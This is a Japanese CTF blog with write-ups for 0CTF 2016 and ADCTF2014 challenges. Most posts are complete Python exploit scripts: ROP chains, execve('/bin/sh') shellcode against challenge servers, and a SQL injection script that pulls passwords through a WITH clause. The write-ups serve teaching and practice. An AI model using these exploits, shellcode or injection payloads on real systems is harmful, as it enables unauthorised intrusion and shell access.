読者です 読者をやめる 読者になる 読者になる

ShiftCrops つれづれなる備忘録

CTF関連の事やその他諸々

Codegate CTF 2016 Quals Writeup

CTF Exploit

0ctfの裏で行われていたCodegate CTF

うちのチームも登録はしてたけど,参加したのは僕だけ

しかも4時間くらいしか取り組んでいないという雑な扱い

一応2問解いたので,ここに書き記しておきます.

続きを読む

0CTF 2016 Quals Writeup

CTF Exploit

1年と3カ月ぶりの更新となります.

今までブログは自前のサーバで動かしていたのですが,なんか面倒臭くなってずっと放置してました.

WordPressで管理を続けるのもなんかアレなので,この度はてなブログに移行をしました.


さて,今回は0CTFに参加して解いた問題のWriteupを記しておこうかと思います.

(チームメイトと相談しながら解けた問題はいくつかあるけど,自分一人で解いたのは1問しかないのだいぶつらい.人権無い)

Warmup (Exploit 2)

問題文

warmup for pwning!

Notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag


202.120.7.207 52608


下調べ

shiftcrops@S-Ubuntu:~/CTF/0CTF$ file warmup 
warmup: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
shiftcrops@S-Ubuntu:~/CTF/0CTF$ checksec.sh --file warmup 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   warmup

stripされてはいるが,32bitなのでだいぶ優しい


プログラム動作解析

stripかーとか思ってobjdumpで開いてみたら,何のことは無かった

以下抜粋

080480d8 <.text>:
 80480d8:       83 ec 10                sub    esp,0x10
 80480db:       c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 80480e2:       e8 26 00 00 00          call   0x804810d <syscall_alarm>
 80480e7:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80480ee:       c7 44 24 04 bc 91 04    mov    DWORD PTR [esp+0x4],0x80491bc
 80480f5:       08 
 80480f6:       c7 44 24 08 16 00 00    mov    DWORD PTR [esp+0x8],0x16
 80480fd:       00 
 80480fe:       e8 32 00 00 00          call   0x8048135 <syscall_write>
 8048103:       e8 52 00 00 00          call   0x804815a <vuln>
 8048108:       e8 40 00 00 00          call   0x804814d <syscall_exit>

0804815a8 <vuln>:
 804815a:       83 ec 30                sub    esp,0x30
 804815d:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048164:       8d 44 24 10             lea    eax,[esp+0x10]
 8048168:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804816c:       c7 44 24 08 34 00 00    mov    DWORD PTR [esp+0x8],0x34
 8048173:       00 
 8048174:       e8 a4 ff ff ff          call   0x804811d <syscall_read>
 8048179:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048180:       c7 44 24 04 d3 91 04    mov    DWORD PTR [esp+0x4],0x80491d3
 8048187:       08 
 8048188:       c7 44 24 08 0b 00 00    mov    DWORD PTR [esp+0x8],0xb
 804818f:       00 
 8048190:       e8 a0 ff ff ff          call   0x8048135 <syscall_write>
 8048195:       b8 af be ad de          mov    eax,0xdeadbeaf
 804819a:       b9 af be ad de          mov    ecx,0xdeadbeaf
 804819f:       ba af be ad de          mov    edx,0xdeadbeaf
 80481a4:       bb af be ad de          mov    ebx,0xdeadbeaf
 80481a9:       be af be ad de          mov    esi,0xdeadbeaf
 80481ae:       bf af be ad de          mov    edi,0xdeadbeaf
 80481b3:       bd af be ad de          mov    ebp,0xdeadbeaf
 80481b8:       83 c4 30                add    esp,0x30
 80481bb:       c3                      ret 

それぞれのシステムコールを呼ぶ関数は,eaxにシステムコール番号を格納してからスタックから引数を取り,割り込みを発生させるという動きをする.

戻り値が負ならsyscall_exitを呼ぶ.


問題はここ

0804815a8 <vuln>:
 804815a:       83 ec 30                sub    esp,0x30
 804815d:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048164:       8d 44 24 10             lea    eax,[esp+0x10]
 8048168:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804816c:       c7 44 24 08 34 00 00    mov    DWORD PTR [esp+0x8],0x34
 8048173:       00 
 8048174:       e8 a4 ff ff ff          call   0x804811d <syscall_read>

スタックを0x30byte確保し,0x10byte進んだところから0x34byteだけreadを行う.

すなわち0x14byteオーバフローを起こす.

0x20だけオフセットを取ってやればeipを取れるのだが,ここでopenが無いことにふと気づく

しかしまぁ,alarmあるし問題ない


解法

1回でオーバーフローする長さが短いので,return_to_vulnして繰り返しROPを行う

alarmでsys_openを指定し(exploit_st2),次に1秒以内にalarmを呼べばその値がeaxに格納されている.

その状態で引数にfilenameとflag,modeを与えればいいのだが,オーバーフローする長さが足りず残念ながらmodeまで指定できない.(exploit_st3)

しかし,開くだけだし問題なさそう

open("/home/warmup/flag", O_RDONLY, ??)

fd=3で開かれる筈なので,あとはこのファイルディスクリプタからreadして,STDOUT_FILENOにwriteすればお終い.

Exploit

#!/usr/bin/env python
from sc_pwn import *

target     = {'host':'202.120.7.207','port':52608}

addr_vuln           = 0x0804815a
addr_alarm          = 0x0804810d
addr_read           = 0x0804811d
addr_write          = 0x08048135
addr_exit           = 0x0804814d
addr_syscall_arg3   = 0x08048122
addr_buf            = 0x0804920c

str_fname           = '/home/warmup/flag\x00'
sys_open            = 0x05

#==========
def attack(cmn):    
    exploit_st1  = '\x00'*0x20
    exploit_st1 += pack_32(addr_read)
    exploit_st1 += pack_32(addr_vuln)
    exploit_st1 += pack_32(STDIN_FILENO)
    exploit_st1 += pack_32(addr_buf)
    exploit_st1 += pack_32(len(str_fname))

    exploit_st2  = '\x00'*0x20
    exploit_st2 += pack_32(addr_alarm)
    exploit_st2 += pack_32(addr_vuln)
    exploit_st2 += pack_32(sys_open)

    exploit_st3  = '\x00'*0x20
    exploit_st3 += pack_32(addr_alarm)
    exploit_st3 += pack_32(addr_syscall_arg3)
    exploit_st3 += pack_32(addr_vuln)
    exploit_st3 += pack_32(addr_buf)
    exploit_st3 += pack_32(O_RDONLY)

    exploit_st4  = '\x00'*0x20
    exploit_st4 += pack_32(addr_read)
    exploit_st4 += pack_32(addr_vuln)
    exploit_st4 += pack_32(3)
    exploit_st4 += pack_32(addr_buf)
    exploit_st4 += pack_32(0x100)

    exploit_st5  = '\x00'*0x20
    exploit_st5 += pack_32(addr_write)
    exploit_st5 += pack_32(addr_exit)
    exploit_st5 += pack_32(STDOUT_FILENO)
    exploit_st5 += pack_32(addr_buf)
    exploit_st5 += pack_32(0x100)

    cmn.read_until('2016!\n')
    cmn.send(exploit_st1)
    cmn.read_until('Good Luck!\n')
    cmn.send(str_fname)
    cmn.send(exploit_st2)
    cmn.read_until('Good Luck!\n')
    cmn.send(exploit_st3)
    cmn.read_until('Good Luck!\n')
    cmn.send(exploit_st4)
    cmn.read_until('Good Luck!\n')
    cmn.send(exploit_st5)
    cmn.read_until('Good Luck!\n')

    flag = cmn.read_until('\n')
    info('flag : %s' % flag)

#==========

if __name__=='__main__':
    cmn = Communicate(target,mode='RAW')
    attack(cmn)
    del(cmn)
    
#==========

実行結果

[*]Connect to 202.120.7.207:52608
[+]flag : 0ctf{welcome_it_is_pwning_time}

[*]Network Disconnect...

ADCTF2014 [25] xmas

CTF
Merry Christmas! Here is a present for you: ADCTF_m3RRy_ChR157m42 Thank you for playing. -- akiym

 

クリスマス?365n日(n>0)先のイベントだよね?

知ってる知ってる

 

こうしてADCTF2014も遂に終わりを迎えてしまいました。

残念ながら、全部解き切ることはできませんでした。

reversing系が弱すぎて泣けてきます

 

我らがtuat_mccは215点で17位でした。

といっても俺一人だったけどね

これからも精進を重ねて参ります!

 

皆さんお疲れ様でした。

そして運営のdodododoの方々、ありがとうございました!!

 

 

FLAG: ADCTF_m3RRy_ChR157m42

ADCTF2014 [23] shellcodeme

CTF

解いた後の、まさかのstage2みたいなのってつらい

Can you execute shellcode? Really? shellcodeme.c shellcodeme
nc pwnable.katsudon.org 33201

 

この問題は、同じコードから生成されたと思われる3つのバイナリをpwnします。

一つは32bit、もう一つは64bitのバイナリです。

 

長いので、先にコード載せておきます exploit_shellcodeme.py

#!/usr/bin/env python
from struct import *
import sys
import socket

rhp     = (&quot;pwnable.katsudon.org&quot;,33201)

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(0.5)
nc.connect(rhp)
print 'Connect to %s:%d' % rhp

#==========Stage1==========#

def stage1(nc):
    print 'Stage1'

    addr_ret        = 0x080484fd
    addr_pop_0xc    = 0x08048312
    addr_mprotect   = 0x08048330
    addr_read       = 0x08048340
    addr_mem_exec   = 0x20000000

    stdin  = 0x0
    length = 0x400

    exploit =   pack(&quot;&lt;I&quot;, addr_ret)
    exploit +=  &quot;\x00&quot;*0xc
    exploit +=  pack(&quot;&lt;I&quot;, addr_mprotect)
    exploit +=  pack(&quot;&lt;I&quot;, addr_pop_0xc)
    exploit +=  pack(&quot;&lt;I&quot;, addr_mem_exec)
    exploit +=  pack(&quot;&lt;I&quot;, length)
    exploit +=  pack(&quot;&lt;I&quot;, 0x7)
    exploit +=  pack(&quot;&lt;I&quot;, addr_read)
    exploit +=  pack(&quot;&lt;I&quot;, addr_mem_exec)
    exploit +=  pack(&quot;&lt;I&quot;, stdin)
    exploit +=  pack(&quot;&lt;I&quot;, addr_mem_exec)
    exploit +=  pack(&quot;&lt;I&quot;, length)

    payload =   &quot;\x31\xc0&quot;                  #xor    %eax,%eax
    payload +=  &quot;\xb0\x0b&quot;                  #mov    0x0b,%al
    payload +=  &quot;\x68\x2f\x2f\x73\x68&quot;      #push   0x68732f2f
    payload +=  &quot;\x68\x2f\x62\x69\x6e&quot;      #push   0x6e69622f
    payload +=  &quot;\x89\xe3&quot;                  #mov    %esp,%ebx
    payload +=  &quot;\x31\xc9&quot;                  #xor    %ecx,%ecx
    payload +=  &quot;\x31\xd2&quot;                  #xor    %edx,%edx
    payload +=  &quot;\xcd\x80&quot;                  #int    0x80

    print 'Send exploit...'
    nc.sendall(exploit)
    print 'Send payload...'
    nc.sendall(payload)

#==========Stage2==========#

def stage2(nc):
    print 'Stage2'

    addr_ret        = 0x0040062c
    addr_pop_rsi_1  = 0x00400691
    addr_pop_rdi    = 0x00400693
    addr_pop_1      = 0x00400692
    addr_mov_rdx    = 0x00400670    #mov r13,rdx    mov %r14,%rsi
                                    #mov %r15d,%edi callq *(%r12,%rbx,8)
    addr_pop_6      = 0x0040068a    #pop rbx,rbp,r12,r13,r14,r15
    addr_mprotect   = 0x004004c0
    addr_read       = 0x00400490
    addr_mem_exec   = 0x20000000
    addr_buf        = 0x00601100

    stdin  = 0x0
    length = 0x400

    exploit =   pack(&quot;&lt;Q&quot;, addr_ret)
    exploit +=  &quot;\x00&quot;*0x8

    exploit +=  pack(&quot;&lt;Q&quot;, addr_pop_rdi)
    exploit +=  pack(&quot;&lt;Q&quot;, stdin)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_pop_rsi_1)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_buf)
    exploit +=  pack(&quot;&lt;Q&quot;, 0xdeadbeef)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_read)

    exploit +=  pack(&quot;&lt;Q&quot;, addr_pop_6)
    exploit +=  pack(&quot;&lt;Q&quot;, 0x0)
    exploit +=  pack(&quot;&lt;Q&quot;, 0x0)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_buf)
    exploit +=  pack(&quot;&lt;Q&quot;, 0x7)
    exploit +=  pack(&quot;&lt;Q&quot;, length)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_mem_exec)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_mov_rdx)

    exploit +=  pack(&quot;&lt;Q&quot;, addr_mprotect)

    exploit +=  pack(&quot;&lt;Q&quot;, addr_pop_6)
    exploit +=  pack(&quot;&lt;Q&quot;, 0x0)
    exploit +=  pack(&quot;&lt;Q&quot;, 0x0)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_buf)
    exploit +=  pack(&quot;&lt;Q&quot;, length)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_mem_exec)
    exploit +=  pack(&quot;&lt;Q&quot;, stdin)
    exploit +=  pack(&quot;&lt;Q&quot;, addr_mov_rdx)

    exploit +=  pack(&quot;&lt;Q&quot;, addr_read)

    exploit +=  pack(&quot;&lt;Q&quot;, addr_mem_exec)

    payload =   &quot;\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00&quot;  #movabs '/bin/sh',%rbx
    payload +=  &quot;\x53&quot;                                      #push   %rbx
    payload +=  &quot;\x48\x89\xe7&quot;                              #mov    %rsp,%rdi
    payload +=  &quot;\x48\x31\xf6&quot;                              #xor    %rsi,%rsi
    payload +=  &quot;\x48\x31\xd2&quot;                              #xor    %rdx,%rdx
    payload +=  &quot;\x48\x31\xc0&quot;                              #xor    %rax,%rax
    payload +=  &quot;\xb0\x3b&quot;                                  #mov    0x3b,%al
    payload +=  &quot;\x0f\x05&quot;                                  #syscall

    nc.sendall('./shellcodeme2\x0a')
    nc.sendall(exploit)
    nc.sendall(pack(&quot;&lt;Q&quot;, addr_pop_1))
    nc.sendall(payload)

stage1(nc)
stage2(nc)

続く

 

まずは32bitのStage1から

そもそもこのプログラムは、readする際に

read(0, &amp;buf, SHELLCODE_LEN);

としていることから、確保した0x20000000ではなく、char*型のbufが格納された場所に書き込んでしまっている

そのため、

(*(void(*)()) buf)()

の際に、書き込んだ始めの4byteのアドレスに制御が飛ぶようになっている

しかしespのずれを考えるのが面倒だったため、即座にretをして通常のスタックオーバーフローの問題のように扱うこととした。

exploit = pack("&lt;I", addr_ret)
exploit += "\x00"*0xc
exploit += pack("&lt;I", addr_mprotect)
exploit += pack("&lt;I", addr_pop_0xc)
exploit += pack("&lt;I", addr_mem_exec)
exploit += pack("&lt;I", length)
exploit += pack("&lt;I", 0x7)
exploit += pack("&lt;I", addr_read)
exploit += pack("&lt;I", addr_mem_exec)
exploit += pack("&lt;I", stdin)
exploit += pack("&lt;I", addr_mem_exec)
exploit += pack("&lt;I", length)

mprotectで0x20000000のパーミッションをrwxとし、そこにシェルコードを書きこむ

次にreadができるように、add 0xc,$espを忘れずに

readで0x20000000にシェルコードを書きこんだら、そこに制御を飛ばせばStage1は終了。

シェルコードの説明はいつも通りなので割愛

 

次に64bitのStage2である。

64bitでのsyscallでは、引数を順に$edi,$esi,$edx...の順に格納しておかなければならない。

$rdiと$rsiはROP gadgetを用いて容易に格納できるが、$edxはそう簡単にはいかないようである。

使えるのは

40068a: 5b pop %rbx
40068b: 5d pop %rbp
40068c: 41 5c pop %r12
40068e: 41 5d pop %r13
400690: 41 5e pop %r14
400692: 41 5f pop %r15
400694: c3 retq

でpopしてから、

400670: 4c 89 ea mov %r13,%rdx
400673: 4c 89 f6 mov %r14,%rsi
400676: 44 89 ff mov %r15d,%edi
400679: 41 ff 14 dc callq *(%r12,%rbx,8)

でmovしてやれば良いと考えられる。

ちなみに、同時に$rsiと$ediへの格納も行える。

 

exploit = pack("&lt;Q", addr_ret)
exploit += "\x00"*0x8

exploit += pack("&lt;Q", addr_pop_rdi)
exploit += pack("&lt;Q", stdin)
exploit += pack("&lt;Q", addr_pop_rsi_1)
exploit += pack("&lt;Q", addr_buf)
exploit += pack("&lt;Q", 0xdeadbeef)
exploit += pack("&lt;Q", addr_read)

まずは先程と同じように最初にretします。

$rdiにstdinの0、$rsiに適当な書き込み可能なバッファアドレスを指定してread

nc.sendall(pack("<Q", addr_pop_1))

ここで、1回popするROPgadgetのアドレスを格納させます。これは後ほど重要になってきます。

 

次に$rbx,$rbp,$r12,$r13,$r14,$r15の順で値を格納し、それを目的のレジスタにmovします。

exploit += pack("&lt;Q", addr_pop_6)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", addr_buf)
exploit += pack("&lt;Q", 0x7)
exploit += pack("&lt;Q", length)
exploit += pack("&lt;Q", addr_mem_exec)
exploit += pack("&lt;Q", addr_mov_rdx)

exploit += pack("&lt;Q", addr_mprotect)

しかし、この後はretではなくcallq *(%r12,%rbx,8)です。

なので、$r12は先程のバッファアドレス、$rbxは0にすることで、call addr_pop_1+0*8となります。

これの命令は実質ret命令と同じです。

そして、$rdi=0x20000000,$rsi=length,$rdx=0x7の状態でmprotectが呼ばれ、読み込み書き込み実行が可能となります。

 

あとは先程同様に値を格納して、今度はreadでシェルコードを読み込みます。

exploit += pack("&lt;Q", addr_pop_6)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", addr_buf)
exploit += pack("&lt;Q", length)
exploit += pack("&lt;Q", addr_mem_exec)
exploit += pack("&lt;Q", stdin)
exploit += pack("&lt;Q", addr_mov_rdx)

exploit += pack("&lt;Q", addr_read)
exploit += pack("&lt;Q", addr_mem_exec)

最後にそのシェルコードに制御を飛ばして完了です。

面倒なので、シェルコードの説明は同じく割愛。

shell

あー長かったwww

 

FLAG: ADCTF_I_l0v3_tH15_4W350M3_m15T4K3

ADCTF2014 [21] otp

CTF

これ、ずいぶん簡単だったと思うんだけど、なんでこんなに点数高いのか

Try your sqli skills. otp.adctf2014.katsudon.org source

 

まあこれもSQLinjectionですね

twitterを見てると、最初は問題に本気で脆弱性があったらしく、Sqliteとかにすれば行けたとかいう話が

でもまぁ、私が開いたときにはすでにサーバーが停止してて、修正された後だったので関係ないですw

 

今回の問題では、sqliteが禁句となっている。即ちsqlite_masterから読みださせることは考えていないってことですよね?

それならば方針はwith文かな

select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')

こんな感じでカラム名が分かっていなくても、カラム数さえ合っていれば適当に名づけてselectできます。

 

sqli_otp.py

import urllib,urllib2

URI = 'http://otp.adctf2014.katsudon.org/'

def communicate(values):
  if(values is not None):
    data = urllib.urlencode(values)
    req = urllib2.Request(URI,data)
  else:
    req = urllib2.Request(URI)
    res = urllib2.urlopen(req)
  return res.read().split('\n')

if __name__ == '__main__':
  token = communicate(None)[22].split('&quot;')[5]
  print 'token : %s' % token

  query = &quot;' union all select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')--&quot; % token
  values = {'token' : query}
  passwd = communicate(values)[21].split(' ')[3][:-4]
  print 'pass : %s' % passwd

  values = {'token' : token, 'pass' : passwd}
  for s in communicate(values)[21][3:-4].split('&lt;br /&gt;'):
    print s

  raw_input('Press any key to exit...')

トークンが分かっているのでそのパスワードを引き出し、最初から10秒以内にトークンとパスワードを投げればフラグがもらえます。 otp

FLAG: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5

ADCTF2014 [20] easypwn

CTF

easy?どこがだよwww

Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs. easypwn
nc pwnable.katsudon.org 28099

 

pwn系で一番悩みましたw

だって使える要素があまりにも少ないんだもの

まあ今回もASLRは気にしない方針でいきましょ

 

今回はsyscallなんていう関数があるため、eaxに適切な値を格納して引数をスタックに積めばおk!

08048080 <syscall>: 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret

今回書いたexploitはこちら

 

#!/usr/bin/env python
from struct import *
import sys
import socket

rhp = (&quot;pwnable.katsudon.org&quot;,28099)
sh = &quot;/bin/sh&quot;

addr_syscall = 0x08048080
addr_read = 0x080480a9
addr_exit = 0x080480df

elf_head = 0x08048000

sys_execve = 0x0b
sys_mprotect = 0x7d
length = 0x1000
null = 0x0

#==========

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(0.5)
nc.connect(rhp)

exploit_st1 = &quot;\x00&quot;*0x10
exploit_st1 += pack(&quot;&lt;I&quot;, addr_syscall)
exploit_st1 += pack(&quot;&lt;I&quot;, addr_read-0x2)
exploit_st1 += pack(&quot;&lt;I&quot;, elf_head)
exploit_st1 += pack(&quot;&lt;I&quot;, length)
exploit_st1 += pack(&quot;&lt;I&quot;, 0x7)
exploit_st1 += &quot;\x00&quot;*(sys_mprotect-len(exploit_st1))

exploit_st2 = &quot;\x00&quot;*0x10
exploit_st2 += pack(&quot;&lt;I&quot;, addr_syscall) #$ecx=elf_head
exploit_st2 += pack(&quot;&lt;I&quot;, addr_read)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, elf_head)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, addr_syscall)
exploit_st2 += pack(&quot;&lt;I&quot;, addr_exit)
exploit_st2 += pack(&quot;&lt;I&quot;, elf_head)
exploit_st2 += pack(&quot;&lt;I&quot;, null)
exploit_st2 += pack(&quot;&lt;I&quot;, null)

nc.sendall(exploit_st1)
nc.sendall(exploit_st2)
nc.sendall(sh+&quot;\x00&quot;*(sys_execve-len(sh)))

続く

 

当初の予定ではexploit_st1は要らなかったんですよ

'/bin/sh'をスタック以外の固定された適当なアドレスに配置できれば、そこを参照して終了ですのでね。

そうは問屋が卸さない

 

方針変更:mmapを使おう

old_mmapしか文献が見当たらない。

構造体が配置できるなら最初っから解決してる

mmap2の存在は知ってても使い方が分からない ⇒ $eax=0xc0だと後に知る

 

方針変更:mprotectを使おう

$eax=0x7d

$ebx=address

$ecx=length

$edx=permission

これならいける

 

まずはmprotectするためにexploit_st1を送ります

exploit_st1 = "\x00"*0x10
exploit_st1 += pack("&lt;I", addr_syscall) ※
exploit_st1 += pack("&lt;I", addr_read-0x2)
exploit_st1 += pack("&lt;I", elf_head)
exploit_st1 += pack("&lt;I", length)
exploit_st1 += pack("&lt;I", 0x7)
exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1))

pwn_me関数のリターン先は、※のsyscall関数になります

次のリターン先にはaddr_read-0x2(read前にmov    %esp,%ecx を追加)を指定しておきます。

このexploit_st1の長さが、mprotectのシステムコール番号である0x7dになるように調整します。

そうすることでread後に$eaxに読み込んだ長さの0x7dが格納され、mprotectが使えます。

mprotectに与えるアドレスはページ境界でなければならないので、elfのヘッダが読み込まれてる先頭のアドレスを指定します。

これでいけたかな

08048000-08049000 rwxp 00000000 08:01 947049

なんか面白い

 

はい、では次です

exploit_st2 = "\x00"*0x10
exploit_st2 += pack("&lt;I", addr_syscall) #$ecx=elf_head
exploit_st2 += pack("&lt;I", addr_read)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", elf_head)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", addr_syscall)
exploit_st2 += pack("&lt;I", addr_exit)
exploit_st2 += pack("&lt;I", elf_head)
exploit_st2 += pack("&lt;I", null)
exploit_st2 += pack("&lt;I", null)

最初のsyscallは$ecxにelf_headを格納するためだけに使っています。

なんだかもっとスマートにできる気がががg

 

そののちreadで"/bin/sh"+"\x00"*(sys_execve-len(sh))をelfのヘッダ部に読み込んで、$eaxにはexecveの0x0bが格納されます。

2回目のsyscallでexecveが呼ばれてbashが起動します。

リターン先を_startのexitに飛ばして終了です。 exploit_easypwn.py

easypwn

 

FLAG: ADCTF_175_345y_7o_cON7ROL_5Y5c4LL

ADCTF2014 [17] oh my scanf

CTF

遂に来ましたPwnable!

This is my first program. oh_my_scanf.c oh_my_scanf
nc pwnable.katsudon.org 32100

 

今回は典型的なスタックオーバーフローの問題ですね。

ASLRが有効らしいけど、俺はそんなの気にしない(的なこと言えたらかっこいいw)

まずプロセスマップを除いてみると、

0804a000-0804b000 rwxp 00001000 08:01 945933

うん、確実にここにシェルコード書き込めって言ってるよね、これ

 

そんなわけで、Exploit

from struct import *
import sys
import socket

rhp = (&quot;pwnable.katsudon.org&quot;,32100)
sh = &quot;/bin/sh\x00&quot;

offset_name = 0x00020060
offset_retn = 0x0002007c

addr_format = 0x080485c7
addr_scanf = 0x08048506
addr_buffer = 0x0804a100

#==========
nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(1.0)
nc.connect(rhp)

exploit = &quot;\x00&quot;*(offset_retn-offset_name-4)
exploit += pack(&quot;&lt;I&quot;, addr_buffer) #$ebp=addr_buffer
exploit += pack(&quot;&lt;I&quot;, addr_scanf)
exploit += pack(&quot;&lt;I&quot;, addr_format)
exploit += pack(&quot;&lt;I&quot;, addr_buffer)

nc.sendall(exploit+&quot;\x0a&quot;)
nc.recv(1024)

payload = pack(&quot;&lt;I&quot;, 0xdeadbeef)
payload += pack(&quot;&lt;I&quot;, addr_buffer+0x10) #exec_addr
payload += sh
payload += &quot;\x00&quot;*(0x10-len(payload))
payload += &quot;\x31\xc0&quot; #xor %eax,%eax
payload += &quot;\x04\x0f&quot; #add 0x0f,%al
payload += &quot;\x34\x04&quot; #xor 0x04,%eal
payload += &quot;\x89\xe3&quot; #mov %esp,%ebx
payload += &quot;\x31\xc9&quot; #xor %ecx,%ecx
payload += &quot;\x31\xd2&quot; #xor %edx,%edx
payload += &quot;\xcd\x80&quot; #int 0x80

nc.sendall(payload+&quot;\x0a&quot;)
nc.recv(1024)

続く

 

説明しますね

exploit = "\x00"*(offset_retn-offset_name-4)
exploit += pack("&lt;I", addr_buffer) #$ebp=addr_buffer
exploit += pack("&lt;I", addr_scanf) ※
exploit += pack("&lt;I", addr_format)
exploit += pack("&lt;I", addr_buffer)

※のついているところがmain関数のret命令時にリターンする先です。

その前のアドレスは、leave命令でebpに格納する値です。

 

scanfで次のpayloadを読み込んで、実行可能な0x0804a100以降にシェルコードを書きこみます。

payload = pack("&lt;I", 0xdeadbeef)
payload += pack("&lt;I", addr_buffer+0x10) #exec_addr
payload += sh
payload += "\x00"*(0x10-len(payload))
payload += "\x31\xc0" #xor %eax,%eax
payload += "\x04\x0f" #add 0x0f,%al
payload += "\x34\x04" #xor 0x04,%eal
payload += "\x89\xe3" #mov %esp,%ebx
payload += "\x31\xc9" #xor %ecx,%ecx
payload += "\x31\xd2" #xor %edx,%edx
payload += "\xcd\x80" #int 0x80

先頭の0xdeadbeefは、次のleave命令で格納する適当な値です

その先に、シェルコードが落ちているアドレスを格納しておきます。

その直後に’/bin/sh’の文字列がありますが、これにはちゃんと意味があります。

ret命令でシェルコードに制御が飛び、espは4だけ加算されて'/bin/sh'の先頭を指します。

そこでmov %esp,%ebxにより、ちょうどexecveの際のアドレスが指定できるという寸法です

 

exploit_oh_my_scanf.py

あとのシェル表示はお遊びです。

本当にASLR関係なかったww

 

FLAG: ADCTF_Sc4NF_IS_PRe77Y_niCE